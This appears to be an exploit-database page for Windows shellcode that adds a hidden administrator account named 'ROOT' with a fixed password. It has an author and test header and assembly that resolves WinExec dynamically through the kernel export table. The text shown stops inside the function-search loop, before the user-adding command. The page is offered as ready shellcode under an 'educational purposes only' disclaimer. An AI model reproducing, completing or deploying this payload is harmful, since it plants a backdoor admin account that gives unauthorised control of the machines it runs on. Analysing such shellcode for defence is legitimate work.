Exploits / Vulnerability Discovered : 2020-03-25 |
Type : shellcode |
Platform : windows_x86-64
This exploit / vulnerability Windows/x64 winexec addadmin (root/i@mr00t$) dynamic nullfree shellcode (210 bytes) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
## Exploit Title: Windows/x64 - WinExec Add-Admin Dynamic Null-Free Shellcode (210 Bytes)
## Exploit Author: Bobby Cooke
## Date: 2020-03-21
## Tested on: Windows 10 Home - 1909 (x86_64), Windows 10 Pro - 1909 (x86)
## Description: Windows Shellcode that adds the user 'ROOT' with the password 'I@mR00T$' to the system. The user 'ROOT' is then added to the localgroup 'Administrators'.
get_export_addr_table:
mov edi, [ebx+0x1C] ; EDI = RVA ExportAddrTable
add edi, eax ; EDI = &ExportAddrTable
push edi
WinExec_String:
push 0x456E6957 ; EniW
counter_init:
xor eax, eax ; EAX = Counter
searchLoop:
mov edi, edx ; EDI = &ExportNameTable
mov esi, esp ; ESI = "WinE"
xor ecx, ecx
cld ; Process strings left to right
mov edi, [edi+eax*4] ; EDI = RVA NthNameString
add edi, [esp+0xC] ; EDI = &NthNameString
add cx, 0x4 ; ECX = len("WinE")
repe cmpsb ; compare [&NthNameString] to "WinExec"
jz found ; If [&NthNameString] == "WinExec" end loop
inc eax ; Counter ++
jmp short searchLoop ; restart loop